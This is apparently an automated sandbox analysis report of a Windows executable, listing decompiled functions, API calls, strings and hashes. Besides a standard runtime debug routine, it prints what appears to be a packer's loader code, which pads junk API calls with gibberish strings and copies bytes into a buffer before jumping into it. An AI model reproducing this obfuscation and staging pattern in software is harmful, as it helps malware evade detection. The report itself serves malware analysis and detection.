						E0041FA00(E0042ECE0(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L0041F530(_t246));
						 *(L0041F530(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042EAF0(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041EF00( *((intOrPtr*)(L0041F530(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L0041F530(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041FA00(E0042ECE0(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041EF00(L004360A0(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041FA00(E00421E40(_t243, _t307 - 0x1020, _t303, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x44de94 != 0 ||  *0x44de90 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L004225F0(_t243, _t303, _t305, 0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x44de94; // 0x0
						 *(_t307 - 0x704c) = _t285;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x44de90; // 0x0
							 *(_t307 - 0x7048) = _t285;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042E60A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x44de8c != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x44de8c( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x43de58 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x43de64 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x43de64 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x43de64 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042ECB0(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x43de64 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041EF00(L004360A0(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x43de64 + _t267 * 4);
											WriteFile( *(0x43de64 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042ECB0(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x43de64 + _t269 * 4);
											WriteFile( *(0x43de64 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x43de58 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x43de58 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041FA00(E004364C0( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041F600(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041FA00(E004364C0(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042D760(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042E897();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E004242B0(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042e09f
0x0042e14c
0x0042e159
0x0042e164
0x0042e16a
0x0042e183
0x0042e188
0x0042e18b
0x0042e198
0x0042e1bc
0x0042e1c1
0x0042e1c1
0x0042e1cf
0x0042e1d8
0x0042e20a
0x0042e20f
0x0042e20f
0x0042e1d8
0x0042e216
0x0042e21c
0x0042e22a
0x0042e21e
0x0042e21e
0x0042e21e
0x0042e266
0x0042e26b
0x0042e26b
0x0042e290
0x0042e2a0
0x0042e2a5
0x0042e2ac
0x0042e2bb
0x0042e2dd
0x0042e2ed
0x0042e2f2
0x0042e2f2
0x0042e325
0x0042e32a
0x0042e32a
0x0042e331
0x0042e441
0x0042e446
0x0042e337
0x0042e337
0x0042e348
0x0042e353
0x0042e35f
0x0042e363
0x0042e377
0x0042e37e
0x0042e383
0x0042e386
0x0042e393
0x0042e3b7
0x0042e3bc
0x0042e3bc
0x0042e3bf
0x0042e3c4
0x0042e3ca
0x0042e3d3
0x0042e405
0x0042e40a
0x0042e40a
0x0042e40d
0x0042e449
0x0042e46f
0x0042e48d
0x0042e492
0x0042e495
0x0042e4a2
0x0042e4d4
0x0042e4d9
0x0042e4d9
0x0042e4e3
0x0042e4f2
0x0042e4fc
0x0042e508
0x0042e50d
0x0042e510
0x0042e517
0x0042e51d
0x0042e534
0x0042e53d
0x0042e559
0x0042e562
0x0042e564
0x0042e569
0x0042e52e
0x00000000
0x0042e56b
0x0042e571
0x0042e577
0x0042e577
0x00000000
0x0042e569
0x0042e58c
0x0042e58e
0x0042e594
0x0042e5ab
0x0042e5b4
0x0042e5d0
0x0042e5d9
0x0042e5db
0x0042e5e0
0x0042e5a5
0x00000000
0x0042e5e2
0x0042e5e8
0x0042e5ee
0x0042e5ee
0x00000000
0x0042e5e0
0x0042e5ab
0x0042e5fc
0x0042e5fc
0x0042e603
0x0042e603
0x0042e61c
0x0042e629
0x0042e62b
0x0042e635
0x0042e647
0x0042e64d
0x0042e652
0x0042e654
0x0042e65a
0x0042e660
0x0042e660
0x0042e652
0x0042e671
0x0042e684
0x0042e68a
0x0042e695
0x0042e69b
0x0042e69e
0x0042e6ac
0x0042e6b9
0x0042e6cd
0x0042e6d2
0x0042e6dd
0x0042e6f0
0x0042e700
0x00000000
0x00000000
0x0042e702
0x00000000
0x0042e6f2
0x0042e6bb
0x0042e707
0x0042e707
0x0042e750
0x0042e755
0x0042e758
0x0042e765
0x0042e7ac
0x0042e7b7
0x0042e7b7
0x0042e7d4
0x0042e7d7
0x0042e7df
0x0042e770
0x0042e780
0x0042e785
0x0042e792
0x0042e795
0x0042e79d
0x0042e79d
0x0042e765
0x0042e6b9
0x0042e695
0x0042e7f2
0x0042e7f4
0x0042e7fb
0x0042e7fb
0x0042e80e
0x0042e812
0x0042e81d
0x0042e850
0x0042e855
0x0042e855
0x0042e868
0x0042e86a
0x0042e883
0x0042e883
0x0042e80e
0x0042e671
0x0042e0a5
0x0042e0d6
0x0042e0e3
0x0042e0ed
0x0042e0fa
0x0042e0ef
0x0042e0ef
0x0042e0f2
0x0042e0f2
0x0042e10b
0x0042e116
0x0042e11c
0x0042e123
0x0042e12e
0x0042e134
0x0042e139
0x0042e139
0x0042e889
0x0042e890
0x0042e8a9
0x0042e8b2
0x0042e8ba
0x0042e8bb
0x0042e8bc
0x0042e8ca

APIs

InterlockedIncrement.KERNEL32(0043DE54), ref: 0042E097
__invoke_watson_if_error.LIBCMTD ref: 0042E0D6
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042E0E3
OutputDebugStringW.KERNEL32(Ha@), ref: 0042E10B
OutputDebugStringW.KERNEL32(, Line ), ref: 0042E116
OutputDebugStringW.KERNEL32(?), ref: 0042E123
OutputDebugStringW.KERNEL32(00406134), ref: 0042E12E
__invoke_watson_if_error.LIBCMTD ref: 0042E2ED

Part of subcall function 0041FA00: __invoke_watson.LIBCMTD ref: 0041FA21

_wcscat_s.LIBCMTD ref: 0042E2E4

Part of subcall function 004360D0: __invalid_parameter.LIBCMTD ref: 00436142

_wcscat_s.LIBCMTD ref: 0042E31C

Part of subcall function 004360D0: _memset.LIBCMT ref: 004361AF
Part of subcall function 004360D0: __invalid_parameter.LIBCMTD ref: 0043620B

__invoke_watson_if_error.LIBCMTD ref: 0042E325
__snwprintf_s.LIBCMTD ref: 0042E37E

Part of subcall function 0042EAF0: __vsnwprintf_s_l.LIBCMTD ref: 0042EB12

__invoke_watson_if_oneof.LIBCMTD ref: 0042E3B7
_wcscpy_s.LIBCMTD ref: 0042E3FC
__invoke_watson_if_error.LIBCMTD ref: 0042E405
__invoke_watson_if_oneof.LIBCMTD ref: 0042E48D
__invoke_watson_if_error.LIBCMTD ref: 0042E4D4
__itow_s.LIBCMTD ref: 0042E0CD

Part of subcall function 004364C0: _xtow_s@20.LIBCMTD ref: 004364EB

__strftime_l.LIBCMTD ref: 0042E183
__invoke_watson_if_oneof.LIBCMTD ref: 0042E1BC
_wcscpy_s.LIBCMTD ref: 0042E201
__invoke_watson_if_error.LIBCMTD ref: 0042E20A
_wcscpy_s.LIBCMTD ref: 0042E25D
__invoke_watson_if_error.LIBCMTD ref: 0042E266
__invoke_watson_if_error.LIBCMTD ref: 0042E2A0

Strings

_CrtDbgReport: String too long or IO Error, xrefs: 0042E1F0, 0042E3EB
Q4~, xrefs: 0042E296
Ha@, xrefs: 0042E104, 0042E10A
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042E2CE
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042E4B5
_VCrtDbgReportW, xrefs: 0042E0B1, 0042E1A6, 0042E1E6, 0042E240, 0042E27A, 0042E2C9, 0042E301, 0042E3A1, 0042E3E1, 0042E45F, 0042E4B0, 0042E71D, 0042E82B
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042E722
Assertion failed!, xrefs: 0042E22A
%s(%d) : %s, xrefs: 0042E368
, Line , xrefs: 0042E111
Assertion failed: , xrefs: 0042E21E
H`@, xrefs: 0042E24A, 0042E250
Second Chance Assertion Failed: File , xrefs: 0042E0DE
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042E0B6, 0042E830
P, xrefs: 0042E767
(*_errno()), xrefs: 0042E1AB, 0042E3A6
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042E1EB
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042E4BA
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042E464
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042E306
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042E3E6
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042E0AC, 0042E1A1, 0042E1E1, 0042E23B, 0042E275, 0042E2C4, 0042E2FC, 0042E39C, 0042E3DC, 0042E45A, 0042E4AB, 0042E718, 0042E826
<file unknown>, xrefs: 0042E0FA
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042E27F
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042E245

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$__invoke_watson_if_oneof_wcscpy_s$__invalid_parameter_wcscat_s$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $H`@$Ha@$P$Q4~$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 101952948-4121712099
Opcode ID: 9c0ef97ef68690ee243a74fd01d678efccfb16b8ac4b4e3db9beb944c37ff48b
Instruction ID: d1f7fdade2bb86fbce0040bac16fe5957ff4f2ed1c2abc5462210ada5b4c2ccf
Opcode Fuzzy Hash: 9c0ef97ef68690ee243a74fd01d678efccfb16b8ac4b4e3db9beb944c37ff48b
Instruction Fuzzy Hash: 6112B371E40324EADB20DF55EC4AFDA7378AB04744F5081AAF50D7A2C1D6BCAA84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD43, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 110
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0041AD43() {
				signed int _v8;
				short _v2140;
				char _v3164;
				union _ULARGE_INTEGER _v3172;
				char _v5220;
				char _v6244;
				struct _COORD _v6248;
				struct _STARTUPINFOA _v6324;
				union _ULARGE_INTEGER _v6332;
				union _ULARGE_INTEGER _v6340;
				char _v6628;
				signed int _v6632;
				void _v6664;
				signed int _v6668;
				void* _t61;

				E0041BF50(0x1e4c);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					GetLastError();
					if( *0x44d27c == 0x16) {
						GetProfileStringW(L"lolohekimabehudorobufoyerucatibexarefu", L"kokofigizisusokivimegukuhacecutasegenobofineyeco", L"gujoramuxayalutocetoriyofarolomucaligowopi",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("cafufunejesalowiragivuhatozapaxuveted", "hoxubozuzaseheraduwunov", "wegisacavake",  &_v3164, 0);
					}
					GetLastError();
					if( *0x44d27c == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v5220, 0);
						GetWindowsDirectoryA( &_v6244, 0);
						__imp__GetCPInfoExA(0, 0,  &_v6628);
						GetDiskFreeSpaceExA("yivijurudicavacecawugudaworiwos",  &_v6332,  &_v6340,  &_v3172);
						GetStartupInfoA( &_v6324);
						ReadConsoleOutputCharacterW(0, 0, 0, _v6248, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L00418F23(_t61,  *0x44987c,  *0x44d27c, 0x43d010);
				_v6632 = _v6632 & 0x00000000;
				while(_v6632 < 0x3e79e) {
					if( *0x44d27c == 0x10) {
						GlobalUnWire( &_v6664);
					}
					if(_v6632 == 0x1e673) {
						 *0x44987c =  *0x44987c + 0x393e;
					}
					_v6632 = _v6632 + 1;
				}
				_v6668 = _v6668 & 0x00000000;
				while(_v6668 < 0xdd9a7) {
					if( *0x44d27c == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringW(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v6668 = _v6668 + 1;
				}
				goto ( *0x44987c);
			}

0x0041ad4b
0x0041ad50
0x0041ad5d
0x0041ad6a
0x0041ad77
0x0041ad91
0x0041ad9b
0x0041adb9
0x0041adb9
0x0041adbf
0x0041adcf
0x0041adda
0x0041ade9
0x0041adfa
0x0041ae1a
0x0041ae27
0x0041ae3b
0x0041ae3b
0x0041ae48
0x0041ad5a
0x00000000
0x0041ae4a
0x00000000
0x0041ae4a
0x0041ae48
0x0041ae62
0x0041ae67
0x0041ae7d
0x0041ae90
0x0041ae99
0x0041ae99
0x0041aea9
0x0041aeab
0x0041aeab
0x0041ae77
0x0041ae77
0x0041aeb7
0x0041aecd
0x0041aee3
0x0041aee5
0x0041aeef
0x0041aefd
0x0041af05
0x0041af05
0x0041aec7
0x0041aec7
0x0041af0d

APIs

GetLastError.KERNEL32 ref: 0041AD6A
GetProfileStringW.KERNEL32(lolohekimabehudorobufoyerucatibexarefu,kokofigizisusokivimegukuhacecutasegenobofineyeco,gujoramuxayalutocetoriyofarolomucaligowopi,?,00000000), ref: 0041AD91
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 0041AD9B
GetProfileStringA.KERNEL32(cafufunejesalowiragivuhatozapaxuveted,hoxubozuzaseheraduwunov,wegisacavake,?,00000000), ref: 0041ADB9
GetLastError.KERNEL32 ref: 0041ADBF
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 0041ADDA
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 0041ADE9
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 0041ADFA
GetDiskFreeSpaceExA.KERNEL32(yivijurudicavacecawugudaworiwos,?,?,?), ref: 0041AE1A
GetStartupInfoA.KERNEL32(?), ref: 0041AE27
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041AE3B
GlobalUnWire.KERNEL32 ref: 0041AE99
GetProcessHeap.KERNEL32 ref: 0041AEE5
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 0041AEEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041AEFD
GetPriorityClass.KERNEL32(00000000), ref: 0041AF05

Strings

wegisacavake, xrefs: 0041ADAA
hoxubozuzaseheraduwunov, xrefs: 0041ADAF
cafufunejesalowiragivuhatozapaxuveted, xrefs: 0041ADB4
gujoramuxayalutocetoriyofarolomucaligowopi, xrefs: 0041AD82
u7, xrefs: 0041AE41
kokofigizisusokivimegukuhacecutasegenobofineyeco, xrefs: 0041AD87
yivijurudicavacecawugudaworiwos, xrefs: 0041AE15
lolohekimabehudorobufoyerucatibexarefu, xrefs: 0041AD8C

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Profile$String$DirectoryErrorInfoLastProcessWrite$CharacterClassConsoleDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: cafufunejesalowiragivuhatozapaxuveted$gujoramuxayalutocetoriyofarolomucaligowopi$hoxubozuzaseheraduwunov$kokofigizisusokivimegukuhacecutasegenobofineyeco$lolohekimabehudorobufoyerucatibexarefu$wegisacavake$yivijurudicavacecawugudaworiwos$u7
API String ID: 182769965-285628079
Opcode ID: 5365e46c4e0f60bca63082e758baa68e2289cb825fdfa8abc1750dfd3487f169
Instruction ID: ba73d5523a359ba639cc0382bb4a3b7b9f3b8d20310a47be0f1b7691f7104fd9
Opcode Fuzzy Hash: 5365e46c4e0f60bca63082e758baa68e2289cb825fdfa8abc1750dfd3487f169
Instruction Fuzzy Hash: B1415075942248EFDB209BA0DD49BE973B8B709702F1040A6F206F64A0C7B85AC49F1E

Uniqueness

Uniqueness Score: -1.00%

Function 00418FC0, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00418FC0(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				char _v24;
				void* _v38;
				char _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				char _v260;
				char _v1284;
				void _v2308;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x44d27c == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsA("Yivusamoza bupukojodasukod yelov pabetoxemopaxo fopizibonubiz",  &_v88,  &_v60);
					CreateMailslotW(L"Pesepekicik", 0, 0, 0);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					__imp__TzSpecificLocalTimeToSystemTime( &_v260,  &_v40,  &_v24, _t54);
					GlobalHandle(0);
					SetConsoleCursorInfo(0, 0);
					TlsSetValue(0, 0);
					CopyFileW(0, 0, 0);
					__imp__GetLongPathNameA(0,  &_v1284, 0);
					__imp__SetVolumeMountPointA(0, 0);
					GetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeA("duzavijenekekuwatipomanuhidiyililuxilefegovunefonutefubufucolis");
					FindFirstFileExA("Hib rapel cidijuxuxahiz vomu sotucude", _a4,  &_v2308, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x44d280; // 0x3f68ea
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x44987c + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x00418fd3
0x00418fdc
0x00418fe2
0x00418fe3
0x00418fe4
0x00418fe5
0x00418ff3
0x00419001
0x0041900e
0x00419017
0x0041901e
0x00419026
0x0041902d
0x0041902e
0x0041902f
0x00419030
0x00419034
0x0041903b
0x0041903c
0x0041903d
0x0041903e
0x0041904f
0x00419056
0x0041905e
0x00419066
0x0041906f
0x0041907e
0x00419086
0x0041908e
0x00419095
0x004190a0
0x004190ba
0x004190c0
0x004190c1
0x004190c4
0x004190c9
0x004190d1
0x004190d4
0x004190e3
0x004190e8

APIs

BuildCommDCBAndTimeoutsA.KERNEL32 ref: 00418FF3
CreateMailslotW.KERNEL32 ref: 00419001
GetNamedPipeHandleStateA.KERNEL32 ref: 0041900E
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419017
FindAtomA.KERNEL32(00000000), ref: 0041901E
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 0041904F
GlobalHandle.KERNEL32 ref: 00419056
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041905E
TlsSetValue.KERNEL32(00000000,00000000), ref: 00419066
CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 0041906F
GetLongPathNameA.KERNEL32(00000000,?,00000000), ref: 0041907E
SetVolumeMountPointA.KERNEL32(00000000,00000000), ref: 00419086
GetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041908E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419095
GetDriveTypeA.KERNEL32(duzavijenekekuwatipomanuhidiyililuxilefegovunefonutefubufucolis), ref: 004190A0
FindFirstFileExA.KERNEL32(Hib rapel cidijuxuxahiz vomu sotucude,?,?,?,00000000,00000000), ref: 004190BA

Strings

Pesepekicik, xrefs: 00418FFC
h?, xrefs: 004190C4
duzavijenekekuwatipomanuhidiyililuxilefegovunefonutefubufucolis, xrefs: 0041909B
Yivusamoza bupukojodasukod yelov pabetoxemopaxo fopizibonubiz, xrefs: 00418FEE
Hib rapel cidijuxuxahiz vomu sotucude, xrefs: 004190B5

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
